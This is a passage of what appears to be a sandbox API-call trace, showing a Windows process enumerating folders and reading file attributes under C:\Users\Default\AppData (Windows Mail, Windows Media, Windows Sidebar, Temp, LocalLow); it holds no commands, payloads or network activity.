	[0082.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.chk" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.chk"), fInfoLevelId=0x0, lpFileInformation=0x1264e378 | out: lpFileInformation=0x1264e378*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7bc3a13, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x2000)) returned 1
	[0082.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb.log"), fInfoLevelId=0x0, lpFileInformation=0x1264e3c8 | out: lpFileInformation=0x1264e3c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd7bc3a13, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x200000)) returned 1
	[0082.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edb00001.log" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edb00001.log"), fInfoLevelId=0x0, lpFileInformation=0x1264e418 | out: lpFileInformation=0x1264e418*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2b29966, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000)) returned 1
	[0082.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00001.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00001.jrs"), fInfoLevelId=0x0, lpFileInformation=0x1264e468 | out: lpFileInformation=0x1264e468*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2027392, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000)) returned 1
	[0082.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\edbres00002.jrs" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\edbres00002.jrs"), fInfoLevelId=0x0, lpFileInformation=0x1264e4b8 | out: lpFileInformation=0x1264e4b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf2216575, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x200000)) returned 1
	[0082.403] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Mail\\oeold.xml" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows mail\\oeold.xml"), fInfoLevelId=0x0, lpFileInformation=0x1264e508 | out: lpFileInformation=0x1264e508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x64c3520, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x64c3520, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf67dcad6, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x104)) returned 1
	[0082.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media"), fInfoLevelId=0x0, lpFileInformation=0x1264e558 | out: lpFileInformation=0x1264e558*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.404] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.404] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.404] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.404] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="12.0", cAlternateFileName="")) returned 1
	[0082.404] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.404] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.404] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0"), fInfoLevelId=0x0, lpFileInformation=0x1264e5f8 | out: lpFileInformation=0x1264e5f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.404] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.404] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.404] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf928f5c4, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.405] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSDKNS.DTD", cAlternateFileName="")) returned 1
	[0082.405] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf, dwReserved0=0x0, dwReserved1=0x0, cFileName="WMSDKNS.XML", cAlternateFileName="")) returned 1
	[0082.405] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.405] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.DTD" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.dtd"), fInfoLevelId=0x0, lpFileInformation=0x1264e6e8 | out: lpFileInformation=0x1264e6e8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf7de167e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x1f2)) returned 1
	[0082.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Media\\12.0\\WMSDKNS.XML" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows media\\12.0\\wmsdkns.xml"), fInfoLevelId=0x0, lpFileInformation=0x1264e738 | out: lpFileInformation=0x1264e738*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf9269464, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x27cf)) returned 1
	[0082.405] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar"), fInfoLevelId=0x0, lpFileInformation=0x1264e788 | out: lpFileInformation=0x1264e788*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.405] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.405] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\*", lpFindFileData=0x127ef850 | out: lpFindFileData=0x127ef850*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.405] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.405] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Gadgets", cAlternateFileName="")) returned 1
	[0082.405] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54, dwReserved0=0x0, dwReserved1=0x0, cFileName="Settings.ini", cAlternateFileName="")) returned 1
	[0082.405] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef870 | out: lpFindFileData=0x127ef870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.406] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\gadgets"), fInfoLevelId=0x0, lpFileInformation=0x1264e878 | out: lpFileInformation=0x1264e878*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.406] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\gadgets"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.406] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Gadgets\\*", lpFindFileData=0x127ef7ec | out: lpFindFileData=0x127ef7ec*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.406] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.406] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef80c | out: lpFindFileData=0x127ef80c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.406] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Microsoft\\Windows Sidebar\\Settings.ini" (normalized: "c:\\users\\default\\appdata\\local\\microsoft\\windows sidebar\\settings.ini"), fInfoLevelId=0x0, lpFileInformation=0x1264e8c8 | out: lpFileInformation=0x1264e8c8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x184eadb, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x54)) returned 1
	[0082.406] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp" (normalized: "c:\\users\\default\\appdata\\local\\temp"), fInfoLevelId=0x0, lpFileInformation=0x1264e918 | out: lpFileInformation=0x1264e918*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.406] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp" (normalized: "c:\\users\\default\\appdata\\local\\temp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.407] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\*", lpFindFileData=0x127ef8b4 | out: lpFindFileData=0x127ef8b4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.407] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfda27f60, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3b34dcb8, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0082.407] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1
	[0082.407] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef8d4 | out: lpFindFileData=0x127ef8d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0082.407] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0082.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt" (normalized: "c:\\users\\default\\appdata\\local\\temp\\fxsapidebuglogfile.txt"), fInfoLevelId=0x0, lpFileInformation=0x1264e9b8 | out: lpFileInformation=0x1264e9b8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x6451100, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6451100, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x77398c9, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\Local\\Temporary Internet Files" (normalized: "c:\\users\\default\\appdata\\local\\temporary internet files"), fInfoLevelId=0x0, lpFileInformation=0x1264ea08 | out: lpFileInformation=0x1264ea08*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.407] GetFileAttributesExW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow" (normalized: "c:\\users\\default\\appdata\\locallow"), fInfoLevelId=0x0, lpFileInformation=0x1264ea58 | out: lpFileInformation=0x1264ea58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0082.407] CreateFileW (lpFileName="C:\\Users\\Default\\AppData\\LocalLow" (normalized: "c:\\users\\default\\appdata\\locallow"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0082.407] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\AppData\\LocalLow\\*", lpFindFileData=0x127ef918 | out: lpFindFileData=0x127ef918*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0082.408] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127ef938 | out: lpFindFileData=0x127ef938*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6320600, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6320600, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x23a1d229, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
